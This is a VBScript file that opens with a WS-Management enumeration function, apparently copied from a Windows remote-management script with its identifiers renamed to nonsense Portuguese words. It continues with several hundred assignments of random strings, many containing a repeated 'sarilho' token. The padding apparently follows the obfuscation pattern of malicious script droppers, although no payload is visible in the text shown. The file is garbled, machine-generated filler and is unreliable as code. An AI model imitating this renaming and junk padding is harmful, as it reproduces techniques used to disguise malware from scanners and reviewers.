private function drudaria(ruminador, traduzideiro, condutor, campido, arrebanhador)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if condutor.ArgumentExists(NPARA_FILTER) then
filter = condutor.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if condutor.ArgumentExists(NPARA_DIALECT) then
dialect = condutor.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not condutor.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (condutor.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR ruminador.EnumerationFlagAssociationInstance
Else
flags = flags OR ruminador.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and condutor.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if condutor.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(condutor.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR ruminador.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR ruminador.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & condutor.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (condutor.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR ruminador.EnumerationFlagHierarchyShallow
elseif (condutor.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR ruminador.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR ruminador.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = traduzideiro.drudaria(campido, filter, dialect, flags)
if Err.Number = T_O then
set e = traduzideiro.drudaria(campido, filter, dialect, flags)
if Err.Number = T_O then
set e = traduzideiro.drudaria(campido, filter, dialect, flags)
end if
end if
ASSERTERR traduzideiro, arrebanhador
on error goto 0
if condutor.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = condutor.Argument(NPARA_TIMEOUT)
end if
if(LCase(arrebanhador) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, arrebanhador
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,arrebanhador) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(arrebanhador) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
drudaria = ""
end function
bncaAiiUeLTcLcl = "cOBxaNlkPdWCkdi"
nKrifdCnPoKcicG = "QeiGiKLJxJpUWOi"
AKiAZGWUkZcBIAU = "kisarilhokpbWcRaWdie"
eBoqdbmgPNKNhNA = "LLAiiNZhBfIHLcO"
ZGLWAGApeLuBIOq = "WbcfHLSUuzkKpiC"
LWWGtRqPcnGWOdp = "HnkKLWLUWLRikLc"
hLZkGNWkZCKUarf = "WeBfcddcqOvPxfL"
cPNaPqfLqxIoiqz = "CNolckLiKxchxPL"
ocIluTUWKAqWNUc = "nLGlpdmKbetUffq"
kiZuuiibHOpkxcH = "uHvtLHPfPmfbuHk"
WKpUqqCPqPLzLnG = "hqWKkZdZQcmShhs"
fimlWztqieazlpc = "BNmAWfmLsarilhocKdho"
OKLLboxpRhBApSW = "igdKaiBkKOPelhN"
GZbWLLmQcLBLaAv = "OfLLodoItUkOezi"
ALlcGpeNIpBePKo = "RBeolLnWLRWuemP"
zCGteJWkPUiKZGR = "WpqKHsieGiLPtGx"
eLNTUxkRkCJcbOh = "blOWGakaPaHBHzo"
bbLpjJicKtdCBox = "KiCltbpOfGiKiZL"
cGguQiiWceZUmcL = "GdGjqHuWWadaBhf"
LbabACOKnKAgSxA = "oWOPPGmudWvCLfn"
ARWacWZZtLjeKnT = "xZZtZPcLLodZfcc"
JRQtcZcrPKulcUk = "caKIAcdcBWdWILW"
OuIejWNxkoNGnWG = "chizQmPcLTBRPCG"
aOQrkOuZLhWUPqm = "AGHdINPZLWbRiUq"
TGhcLNiNkSuLkNN = "nraLkACpOGLCLZq"
oZOkWomuLAWZPKp = "SUfxUPWGcLAWfzo"
icGcCqzpqCUKaAc = "WUcPCRKjKGspAdN"
LmppReLKSenKokB = "eNfBfbWcCiZNtqW"
izkWiptcjKiePUn = "bozWWnPKkPsZRpW"
hsarilhohWjLzhnQCWei = "AzZzkBLKcGzkgkW"
WWNoWNpJlnfTlQx = "PLpAabezWdiKPNf"
ieAjifmrLPciGZk = "AiikbnNnLxuWWNm"
mcNIZeLoiqNbHSK = "cufWGAJoLLzPpAz"
UNpPmLGkzmoLrgf = "oQkKtKZTauLilKB"
nGvGnZdIoqGNgcv = "UBjcLamCxAiPGlp"
AmqniWxAsarilhoKBuUC = "KiaSNCcncfGdzWG"
cnceWOHlKSHKnOB = "HLGGUQLjkKOziAz"
UciudSdmbkmlpdo = "uckGuKpiRsPAbuo"
cLmZRJAixNzlPWx = "PTPWbbNKSLdTfWj"
xAWbTpQftWWKIpR = "LKWnNNovzpWLUNk"
AiUWhLKRWmkWNKg = "iUAKlpWUidxlhCW"
mccWiaGirWilOix = "OiOfexNsZKnUUGm"
bCLWWlcxeuxTWmL = "kWxhbAikKiLqcOQ"
KpunKGUaLkoZLZf = "kfROcLLazpzhZGj"
klKUkONhONJRkWp = "ikZhZdeAzANceqb"
zfWlplkWSBWJbhb = "UdkUKhiloeTLHWN"
KxaltidGWGecLJc = "BNzzKLWKTuuzWRO"
RbjspcbUWazGltC = "cGkLBinNcNblOne"
AjlGGKcjNWGAWxp = "ZqBCNbRiiNrZpPL"
kULqcHUhUpakChA = "WkjiCsarilhoRAIKzoco"
jpPoLQKWGjoUWzb = "QuNikUfhfRZAWbP"
ihCuAKfWKopGWPd = "tJLmLcCsarilhopIWzLU"
zTiocGkfCLeBOnv = "uzOUpkdffkLNjfk"
LmGiboxkGGxSThv = "zGKbOiUWLGPimdL"
GdUiczWWmzLLqWL = "OhGPGAZKzcUkmPc"
TaUseiNoKLOukZr = "mdGLiHUWLijLLUO"
LniHaLBGWdqLAhi = "LkPqNWzbtfWKgLc"
ZpKLLqhemNWGccG = "ccxRUckfpUiRCoi"
UixKAkLPPAemHGi = "cUNZcSWUWGzGLii"
QWpKLWmpKLLUtkK = "pGhGKceLqmRooGk"
IGecoReNBfTLzUK = "OzILZPUfcWiiTfJ"
xieKoKiTulRaBix = "hWiNCOWLLAhsrLL"
WKOxUxWOfhWpaLh = "mzhUJkBuGluKQob"
OPptiKLUmhCmebh = "iPARWhKNNczooia"
jjWNQkKifAAfPWz = "ccbRulivPhOLWWh"
NgoqdPbPPNqGxzp = "LgAzgWWAWLWniZC"
qufGIPaezTpeopB = "LhLQfecWcaLWxWx"
skLzPckPNhWvCkl = "pOKZPKWiiZGqOeN"
fUTncmGctpiiAOL = "cWkagZLHdUGmWWK"
IGikGpQgWqauLmG = "vGKxCiWkBoLLSlW"
tkWsarilhoWelkWLWjZp = "GWbLhzLfxzxkxoW"
kzWNhWHZxKWNQbN = "WfWLkCARiLbZcli"
pxReBiKRnuNQzCS = "iKzznuGWSlnhxtW"
ALmBRKkhULZGGAU = "nziWefGUpkdWKHd"
mhKOWLaQGChHWiT = "fzhhORIlLLnfcAx"
kcGiHUphdOItucA = "KLcLdGIbAWjdZNZ"
KcWegtblLxxScPL = "diPCRtKpxRKzTTU"
LqWikWBrLqUsBLf = "cNtPRAqrJrURLiW"
WLfKLpulLefncOZ = "CcsCWikhLUfomNK"
LGAPLIKAHLxzvzz = "jBULvKWaehAPPvt"
KcgqiefQiNizmUT = "uCGLcjhxQWQJmLf"
RfhLaZvfWOGmKOL = "xrKWhWLSPirintC"
RULUUKhpzcUfWKk = "LkLxNUiWqrhOkLi"
ihKclSOONkTLdqL = "QWoGUfkHmWLmzdu"
LgBoeAKuBckHimL = "mZurLtAhQGLfLGg"
LcULoqiNuosLAmL = "cKGLkoZtQoWhkOb"
pchmUlCNgdGSxmo = "AiTLlJCBuGiKpLo"
RlxZmmfLrWWjhob = "ihmKWokdUmcPUbm"
cgIfZKomCbglhUG = "sarilhoKxcHTWcOzBUZn"
RxLtmBezGKPdmqz = "phKcKpCGZOGnRiG"
aqGjlWnexWcGiGW = "mWiWifhjRGBBtBW"
RnkbLpblhjihcWi = "cxqxmkUnxNbjLLi"
rUeeZjzUidoNrHL = "eKNcSWhbSppLdAb"
oLzZQxxCcdWpucL = "cfcdZpsomBcBqWl"
nzPOzjWqPzmfano = "mNaZOfOkWpLQSiW"
LiOTmzopSPzPiBR = "GpLNALLPKWiAWNi"
nWImbfxaLnWNcBs = "LPLinLLucxlATap"
LGZkmLeLzigApWn = "WWGxzqiSdTdTkZn"
cKGccPdmLoblzzK = "aoiPcUOBUOLOWfj"
OeiiLPAAOnlUQQG = "etzLWNaRklLWizN"
mKKnIUOqBvGWtbh = "zrQccfhWKZcUKRo"
LUxBWmZUqGpfGZi = "fbNiZtOcGHbIuPI"
GqLLugKcAddkZkh = "bLtmBzeeCAZlWmx"
cgPNqimqOkKZKOG = "hRkqZRbNoGCbpWU"
oLbLLtUWpcLdabe = "bkKLiGKHnGattPL"
qPRpkcUBkUioGZz = "ILWLRhRBtxZpizi"
LcIcRKWKmLKRxse = "LLbtbheZGKOGiLx"
WpIcLRUpfInULik = "dCBxKKKNcoNamZU"
cUzQcSLuKhTKdoh = "lxLTQjNukCocfPW"
LbUGbxWOaZZAfPf = "GcBoUciCbLGZqmc"
jokcWKbiCLGPvBW = "HJzKhfUBKkWUAal"
rIsoNpBeNsarilhorUWL = "cfmLRKiWcgGihxP"
usarilhoPJAmNKkkeIAk = "dvNUUmLWioxxzOU"
WeKCLSbcUPGKcil = "mWiULornlWGWnox"
hTTGNcsCLkgWoob = "hLKPPzxCvoWUBPN"
OWbGWLLttiPxLKT = "CmnzWomKSWqfobN"
NdnSWPmjgUoKuKT = "igTidigRPWmuznL"
oQGmLSiOiOueqcW = "ihWWkTWLAJbWnfz"
kmNkALqaUKLtLmW = "GCRiGnmlqnikkPx"
rdKLmRRiKuuLJmz = "BWkcGiafGuJxxGL"
LiqGbgWqfmCNqbz = "NUAaffNWWHeGbpW"
ifiKSRUxLhzPvnZ = "KuqUbLtrzjcoKOW"
pWesLfzQKhAbHBL = "WWUxkCKAOhNmzGi"
bzRLoNZNuNABPfL = "SvWAqiWIApLzcbR"
WdpjPzWtcehUtWf = "dKWikmCckUkaiBh"
UjctsKBpTCOZWLx = "ZcjqfPLBKKUfhcc"
tKWWtUfxuqAZmkn = "bkiadLLGAmLLWni"
mtkimAcAPRBKdfc = "GLiRUccoKLiHbUK"
phABinKvcvkiblc = "mpJqWzKSkJLLioL"
NpKuKjKTKddiKbL = "axLrLcLGLLAukor"
SkLAILOjRbkiZgL = "LBupGZfbLzoRWIL"
nUcqmLiKGULLGtK = "lbWbtWeAKKPZkGh"
WGWgLimUotkKRGG = "WWklnLCLLUhaLWJ"
pBQffktoZqWWZuB = "ebbliLcgJUciLlS"
ZZcWJLTgUsarilhohmLL = "TKzAzuKPjczdWup"
kKtvGKLtpxSkGBl = "OaLLWUCNpfCgaKd"
sUUPWUpzqqeegGm = "thiGNPfbafmLpWd"
qqnWhBGvjjGHiaK = "rWCBziPqKUOitKR"
LNpSuCPptWhTUCG = "mqopWtSWeegkiKg"
ezURkINZWizcaWA = "uLItLLvLQaULHGL"
KZcpLoLLJCtTzUe = "WGicdWztmxJukZN"
KLQWKCrLZUkLthG = "ScLWkbhfOvfLiWi"
kKpIPmihLLazAbe = "anZJUKtObZBOiLA"
OcbqzouoGQiAifL = "ciKKqGoPiHNepUL"
cieWKuLCTzlZWRj = "lKLKoPLLnkiCTWA"
BUieibUPIWALmGA = "LomLLGxLpWWchWC"
CldnbAZxUnZLpth = "jLOzaiLAncKKdWq"
KdqfiCWHLIiCLHB = "miKRizZSiuCWfWl"
BCkonoiLWvkZAzk = "koGKTeCRiULhHii"
CiobizihUrKPiHU = "GzPpLeLCiAZPeiP"
pWpUqshfAKevPap = "xcfLkheUxaABGWL"
ldqoQOrgoxdrLnm = "kIxffZzPUZPLjcc"
KkoohAeLcxdiiPu = "koPRcUHGKLOUmdb"
nOfmSRKtfkbxfWe = "uxZRAUILKWKtLWO"
WUmGKhzmNWGvJfJ = "tzkAiPUcNiLWpsA"
kKKbWfZAqjurbli = "KZWuipZPLuiarZL"
ZKedpfbLQCLWWti = "cWpkcLebLeiRLik"
pLSvkNCKflhmbpo = "LcWeoWglLikLNGL"
ftiLLdvAfLirpUk = "KImNheLKmecGcLk"
RKeHjlQWoahALxP = "KQeGAPKiLLkLGCG"
GALdfWoULfGGJWA = "GziQPuBaGcitKGb"
czLLdixkxafZWkL = "GTAqKWLBbKiHGLA"
eBbzcitSOpeuLsk = "uUpjameUnGIfbKg"
KKUaLvUpPckgoLi = "zKGpWWjoBWRCJdW"
LhLkeofKmkaIkBr = "kbHxWjAGKAAbGmt"
OKafcWWKUkKKebG = "nkLKGmceUiGGLbS"
BZkxkOqcBeWzRGH = "UfKPlLTbZtvkGuJ"
dLCRQGLRkZRpGGA = "unonCLLgZGfckpN"
OtTUGubUuqUmdiW = "dAjpJGWfUZcLffp"
GLifNWtzLoKcceW = "GxKkrLCiKshWtiW"
mWgBmiqlWviWtKc = "pKecWWZUZhhAWWC"
AkWmiiHfzJLoreL = "OLziUZZLKPLmqkU"
LpuzmmWpqWooikc = "diWrWWLzseUpipI"
bkiGQfZdthUpUKP = "oikWWeCZmtWLftK"
egkkchLkcWcPLWW = "ehhpenCrHKsarilhoWeN"
BWbiLLiLzkWbxqU = "rpWKIUGbcifbcLr"
KLqCcobLrfPAxzP = "pgQmGuLNuekduxm"
zPGZochfLodmodk = "thTiKbnWdPGCQpK"
bfcLftlPUKLeOix = "WmkvCPbPLNvdWGK"
CcpWWPmcKAQgPNC = "PBRfsKWcfkWlLzq"
cKGhbZoeLbzKoKQ = "kGcRukAtnmkAobC"
shbzfCpdLibOKZh = "KBWNtHzcGGWLNNp"
UiKnLACOJWBLrha = "QLbJihBfWCWWCGL"
oiuPPgiiTcOoiWK = "aKNfLUiiiTWRKWc"
ZcnnikQoGSgnlWS = "WcvzZbWPjsxfgiK"
GIUoCkhmkNsfpzv = "WptGdmKCkNJahpL"
xKAGUcZNUClafWi = "HaUWULPnscGsWfK"
LOZmbGNCALothkf = "xxhLbWBWKKWaxrU"
WpbGfGLWnWLZZZR = "KAmWfvLtehpKuLG"
uiKLpGGcWWKkKGn = "SLcNGZUkmCouKcK"
dsLUkidvqAAklWL = "ucWPprtZmoifofi"
LPiUuoGNKhtbaRx = "IkxOpfipxRnmGex"
GdxlbKPmfNiQfUd = "xdWbLvLLUIoKtab"
kkbGhLJPCdQNbgC = "aOhzROciUcolIOj"
JqdNUPKLLgnRUBb = "mWeOLohAIBLbPLK"
WAfvGiJahnLlNqU = "eWWtGcjGGxtZePW"
JpSKsKzLGjOGkmo = "NWvcxCbPTUnAoKb"
hKNKzHWhNsbeUSm = "AriJWlgWooiezzz"
GtUCNdAqQcubPmU = "kBzPLWKqRcmgOki"
uWLAipWUkLAodfk = "BiSUOkAlLSurKOu"
zONGzGpJHqWiWbW = "mcRPdNWWimsOPWq"
jiuauGkIGLPNKoC = "dBUPjKhucLWcTic"
JqReZLKjNJZmRoW = "BZTUIiqnTLpimbp"
ALWeLBUNQWBQWRH = "tjUpNmPLzNKWLzd"
KRWctiiUbLUmslA = "PttRtocLhqcnrfa"
ofAakOWWqmKbALQ = "mLLRuiUoIKbjmGh"
zRmGCsKWZlRNOiK = "WWzrAsinUWfnnPJ"
cKiUNfBQKLCtojp = "BNzoZZseGikbieL"
GaNZLqlPkgbSARK = "WlKUuvGLnNzHcgc"
butcLifhIzCmotn = "LjPOqicfUdtbeqQ"
tapBGjHOKihbGcm = "lzpBLCWmpZLplNP"
LmWnimiARiCAGCn = "aiCbzcSKLipidim"
aWKGeKdkzfuWtiL = "BqJrKLLGlWLdpuv"
khccAijLLskUUbZ = "xOWktmtNzhQnKnc"
KaNllcoLcqqLLGz = "LIjjbOWqbiqLOKL"
SeLUBdPPATiKpgc = "iLiAbWznjBeAUAB"
laeeKWrZhGLkCKe = "NjAloKGULOkUGhH"
isbNbAQWfKiBTlc = "zBWSKuPZhkuKomP"
bnGoRkPbrcKURto = "GCIIthjLKteoLGn"
LipPimKtGNqiZWi = "cWfLcblhGJdbZxC"
tGSeWCNzzKZASkU = "bQWWpcnKhtSGqNN"
aooAenKCtuWNKmL = "GcKOKidiWZiRohc"
GzsplWnABWpdmpN = "LKRlxpkbbCSbRnx"
rGzeLKdiCNGzKUP = "iaLQnSchAskoKGK"
WcIGQhHoKNeriml = "ZtzczPfAxcpBmeL"
dUflcCudLKBpCGK = "WpGRfBLWfsZpljK"
LGteiNRpecCRemZ = "xULOpLpNkaLhkTp"
LkPUbGoeWhLWPkc = "qhCPKqiGhUklZCe"
kNPxCilUSrpaUGc = "KAKKSidieGOeOGP"
RnLssHqqmoKRAlN = "ecZzpbbWWCfJBxS"
cipbkGLzWLqzzLu = "WGLlucmjpcdLsAL"
cxPxGAWNmAmSScl = "GLZLLKtGcgtBcok"
UACKianGWnihiUW = "hlOWoPWeUtbLLZA"
KBiUUxLiSkoLcNi = "WpiNkzKAUoLKGWW"
diGnGzuLqicTueL = "WZrdLciechphWZi"
mieKWhmdnUUiLkN = "PAbfdaoBAPpLomW"
pZOxqWuiZlQmpKp = "qPIKQPOKlOGvUZK"
GLkLzcbcWZLWWGb = "fcuipoLRuCKpqpt"
LRLZPPbKGGdcifq = "PxmlAUiudoajWjh"
PLGLOkpJUiLzkCn = "CSCGLKxLltiOLmL"
AfvRgqKcnfdkgmA = "WoiUaAnLimmZWiU"
KcbLLGAWeaBiafO = "oRllGUlWqZUhUNt"
KbRPPpGWlNUWPcl = "KzLtvlimpabhPah"
LzZuWuniGTcfGLh = "hLLiePlaPpCdLNR"
iKmLflULAGWTLzh = "beTKSchmpikaixK"
QkLLotOhAzfAkUs = "NariUcpcQxZClbh"
WBbciucWUGKpbmW = "UKWLKkIpgRotQpH"
ehcZvbALNAWqLtb = "xPLkPhuLZLUWceA"
PPKrsWppkiWikGc = "AeKuBhWtbbfQWcW"
ilSPkpcLinGUpBk = "lbmUGGfpqWflpUL"
quothnUbjooKkNi = "WUeLbbNJJKfALeb"
jbndLHWaARipWGU = "GTLAopcHLWikika"
cLAUKcBoPWNAdKT = "SimWLkOoKOnkrrx"
WOiKqnqjGJLHxzh = "LLBdccdWPhxfiAu"
SclCCLmhGcLTLKz = "GNUPhWCWovdzcLc"
nKmoutGCKdrLjcK = "chkobLOOWbahbca"
OnxWnzgkighikik = "fUczKjGKhNqaKCK"
zGKzinKLZWLdmxW = "hpGRWskifgcLLHK"
omoWALiWPhiKUxh = "eClaCclSKUeWiOs"
JLZBCZcgrZULTGd = "GLUplqGGmixfZLN"
LlabzdALcWPzkfk = "LeuLiifAiQKKWZf"
LWPNNmncKLiphdd = "ubgWiUCnAQKUHWs"
zKQOffKeUGGPKlL = "ueRdUafGhlbtkkh"
fLLKuLdPaWLWdWK = "OWoZGeKmctAUcmG"
PAfWhaAONokGoLL = "KfTLKccvOUgUiAU"
oWULUNjqoPonkLg = "nmZdLsWNomCincW"
jKhktWUrKGCZobQ = "cziWxlUJLWGIfxe"
LomUeiominbPkja = "sfiiKPBfWHipcJz"
fqmraKizPrzJCNG = "amZLUKWLLmchreo"
mzGpZmPsWKQNeLK = "WLkisUvLcxKzPik"
JfkLLLhzhWuiOZx = "pGmtkJTbxaHKCuT"
bLLlObULPZaeGie = "iBBevCGctzPWNAc"
pLPBWGqBptLNinU = "TNcWGWcUmzkWGhi"
NBukinWGCnLAaWK = "dsZuzHKPhhkAhnk"
GcmPdkAZonzobcd = "qbWIraWiNicfuLo"
LxBlNTzaroQRpcp = "WozmAKAvmTeZTuN"
fcLifWiQrisQfIC = "oolKPUhkeZAAzeo"
RhfNWWWKfzfbzAc = "azcZlWUNvbOtILc"
LkzmWPoimLmtdWL = "AdLLuQWeLLpHCcW"
hIldxLozAWkkluh = "qiApAdWpWdLBvPg"
dWcTCHeouZAixBq = "KSCjxqcletiPizk"
UWRPixdIcccLpOi = "nGGffjGiKcNcZUo"
AnphLGbTkBPGmsarilho = "ZKthiicGNHNsarilhoxA"
fGeBKKWmaWLPxge = "WjGLINuTkWkicGb"
mGKNRhAUehbGPHs = "OpfLhKtpnLNWclh"
WkiCSbZNpipKgWP = "GWLcIizePKdKWGh"
tLkieRqKKLGbKKW = "LkNZGLLmLfUZWbg"
NTKLjHPhWautLOZ = "LmCmNWPzikKZIlP"
bIcLNWoKsarilhoGGcoS = "hQTKhoLKCPaWBhB"
cKLfcdePWvULlkU = "akAbiqqLiaeNlkA"
HftLiWNcvLKCgUG = "KLHfkRPTWImxWBR"
UKWmLKmvWLvGWhW = "LbcPkkiBZdkSUmi"
WLUjidzbaWikNgW = "iouLkcJWlkzKUmG"
AaBkLhZnhIbhWph = "lWZczGlCckPlWqi"
eiiPNWgxPGBWecu = "bLLRGneIbgetLPN"
qkGSWLKeiuqkucN = "hpKLiCOecouaKfL"
KgcKdkiWkUhpcke = "ZGKtooKuWmnKIKx"
iWULBekWLLkLLWe = "cLWKkAhpKPiUWkL"
qUWLqZliLUuhnLq = "srxKlKKmHdBiZIt"
nUiLpUsarilhoodTLNJL = "WKfLiKcPILLLALN"
hLziGWahqZPLLio = "RWkLeUxfLehKLPW"
firkmPizqkaKbBc = "LezAOsZNKibbLWh"
RLLKBLhUzLLUKZc = "ZPTobqBiiGLfbTj"
WHobLipoLLkpHvt = "tiWuLzbLxiWLdNb"
bbxBbGLShdhlsarilhob = "cKQoGkTnAHivhLW"
pQdpAtNPhWrWlGP = "hNcmlGvLKGoWizZ"
RWljcTzeTorWimW = "thZiLWbNmLdGeaZ"
hdPiLOmcLUibbqd = "LolbQkcNBmxccPl"
oIttCtkzitLOzLi = "brZLCGtAKuiGhmW"
UkZixmUZAPWcafk = "TuhaKzApcjsKxkL"
pkWiWemGxLOfcLL = "casJcqfxcilLlpK"
kttaLAbWeNBfiKg = "lJPRCLLZmlNkOmG"
zjOLWJPPbKAikmv = "jlpZGzqaWzPiLGW"
WpzhKPsarilhoPWLmbvL = "rKLzufddiLLAUIW"
WBoLZWCOrfKLbOe = "cHWGNCNGpcSlWhs"
APGAQCWipcTzLkz = "HsWiuWZcUkWizAi"
tqCGuKmmKhGeKLC = "NKxthGCAdLkLZLK"
KeLmLPAeppeZGhL = "iBUeNHkdPPTTRNR"
pLdfLOJsSetBzeb = "cWzUkzLiWiexLWz"
uCIcbfiWKtfxpie = "qeLnQqfboPvzrmk"
UfxbLiKbjWBmRze = "KTtogbbjccqIuxv"
ZKPIPPmlLcioakR = "GebfAbBzUhWKdNm"
KvTsarilhoUhZtbaPLAL = "mPfsufKsWRoAZfb"
mWLpspACiaZNuWi = "tuPpcqmGPNKlGok"
lqOLQclacGsarilhohRW = "HKimkicpiWOkbUG"
fWAzPAKkciSoqOi = "WdLJhkbAaLoQzLc"
UBUciGLjnWgZCUq = "KptnBbmUiUmhqZe"
tKRLKvkKRGkdUbj = "hAisxsarilhoazCuLAcU"
iNibPGKZdWWqKzP = "zWljGBiRCLUrdfN"
WLdmWfIihKpIzeO = "LfiPoZZpvUiLiKZ"
GTkjGeleGLkLZNs = "LllSKkLJGQsncfO"
WWvskKWzelPHKpW = "rJiicCkGirvAcLL"
LWnAoTaWbqRjUNU = "CcdWkLAoLhdZLWB"
tAxWeePxeUevLeu = "AWCiNAeBWlUnJUP"
OHtiKLLWIkWQLOh = "KKPRWCSszdvLzsP"
zfWmfUGWkCzAtLZ = "PdLBOILWxLKNiRn"
nAzWHbzWLGZfeJZ = "LqjUfLzHWxqLHLL"
qLlAbbLGBWLkWNm = "KafxOxrKWLAlOLk"
iNrfPWisHzxWfrz = "hWzfWGbdcWQPmPW"
SKLCRdoQuemBaOh = "LGcifOGqPhSRaWA"
LiocpZGAGAtnPmI = "hKLWefmbzhcsqGW"
uOokACUKWGKidRB = "UJchLHfPLLRcchK"
KzoaAueWpNiAciv = "JmWWxWKWzSgPsBK"
tsZGGkmqikAcWWW = "kWquTKWxPLhcUif"
LoZlqCxWiOhqSxK = "AcdLLLxOUdpgfnZ"
hWfWOfkjkcURcLb = "cztjKCchxvmWbui"
CUfAbCrxpnUGiet = "fkNfTobZNWKLvjn"
RpLPWWtLmLTKkOa = "KfKpeibnLIKJpTq"
WiQkeCfTdqLWPrd = "fbmojLbBbNohWNi"
LsnkBLSNUfKWWiL = "pWOWQWOmUnxfKOi"
CGcGkKkhtNUvPPK = "jpnfWRPcsKWLRfn"
fkcmSiNGdWghoif = "dRksGPPAiZpifcN"
nuWaZezGpNboLue = "nkgQcpNlGlWpGGi"
eLWLNxubncRkJqW = "KGPIvLRzCzIjUWK"
medLcLJfLzoNehL = "KxWAxKNiKUSdzcZ"
BRIGhnmLWRaOIRb = "LJPGzCsNkljLTPT"
mzrGnWBaBkGeanJ = "bfilIWxhICkCBPT"
GWPiWxKWCBLGicK = "chzLGHWepckkWOo"
LOQAiooWaoLBLhp = "WLhUNWWGGfajrbW"
KcLeZTvLLKWKkpL = "cpNBbPoLLRmfRJL"
xiuCLzaLdKhLjlQ = "zBfunufSPWAvOGC"
ReebWGWaKiCBuqI = "UPWkjLOfmxLLRnL"
qGLBxAUmlkPsiON = "qfLLfHLkeSnRbvK"
sLbjkkzAAWkAxcH = "WKLjOpmcqGWIKGd"
JzUQQPtWWiWCZip = "aKLAkgcBiAbkKAA"
czLxKOOjZWfWLze = "efKclkeBbAOGPKi"
AzkLdGkcKWOnnIi = "NCKtNWOcWcAiLPO"
mAAcaLuiKeOcULc = "skiWqKqLAcORnWP"
tGLLiqGefZLieZK = "KWeoRCGcxKcGWLB"
ibaTbvWBWCcWLAB = "ZUGNGcWckuLiLzc"
ambLiiKhkGpKCmH = "xuiKPuuPAcfgTbW"
hiKCkobnLtGPIoN = "bcKoLpUaeCmbbUe"
kNhAPNgWqbkiCLi = "etbKRbcAfKWLUke"
sarilhocWpcGOkKLHTPZ = "edUHUjLOpbecLlU"
gsKqbozzxnLLRut = "KIkANgUhuRpLPBU"
fghRLZWPWtUbTKL = "UQfPGLKecUlNzhW"
iiuAZRshmLlxLLI = "xCKKWuBUixKKioG"
LJdboluobGklBLq = "cAccmmelSHoLpaj"
cUWvdRgOLqKWiKQ = "oULSasarilhopipnzBzW"
bQKozKzoLGkiWNe = "AeCqtLnWiLrWbPp"
LLkGLLfUqJWlOzi = "OWjipmKaBGamWeo"
hZPpfKLLfLlKqoc = "zugdZbetcuSBbcl"
TCemkzbqZRKbBkq = "aaNKuOSoePLQiKz"
oUHWGzpWeAzLbGf = "tiWzWAmLRNnBWLB"
LxoWoTuzxkLkbdc = "OWnqWftdNtLOQoG"
WaZaPPZBcUPpmBu = "RGZLfWsdZQxiKti"
KKKhirZGzoffaqm = "rbvkLcnkuWWQWCL"
GQGUBUCLWSCCefc = "iiWqAfoWGoZiimh"
nNfLWcAZmbPIsCL = "zTWqKzkNNGWIamS"
LZokBWmciLiZlCL = "KKzokZLWoiabLKG"
uKThvWxmLjPvLLq = "PmliizOWkbmKWWT"
OnUnuWKpzWCiUkm = "nGbsarilhoQLLLcehjoC"
giaLkWbzbhlKqei = "lxGOWmdqcueZkiN"
rdNsnlWkdRBNASs = "cZoZiLjkaiQzziv"
GeslrSNWfQRLZWL = "LWLzLisLiLOiKGL"
pGinTaZKmHIWRBA = "WxfWGcKALfcQAUK"
hLcGUgWCmmhLvie = "WBspioGGehzlbzO"
UahoGiWGbPCzGmZ = "WHlNiAiKJPWKbCL"
OLtWkbHLGNhpAps = "QvOZLZWOheLcPWT"
KxpkQZAUzczifbA = "CCnWzaPzzcbbAmB"
rLLKHCQUKWxhHNP = "JLqzPsjkUGfCAtZ"
HbLqKULjmhlLIWi = "WiLLWlNkonWxLuJ"
ZWnhiuehIAWPKnl = "LcfnIPbKjJicLlo"
AeQtZAPWZZhzcLG = "iadjmRUoLuNRciA"
eoizlWWGmoKWqmk = "LGWLmWWWgaKWNKI"
akSgTLRrRWPnBuL = "iZAPptUkNSiGeQP"
WekHLZLfmfWpOou = "WnvCofKcKZitAik"
LfiArGsNKLcLiti = "fNPUhcGNsOldLAT"
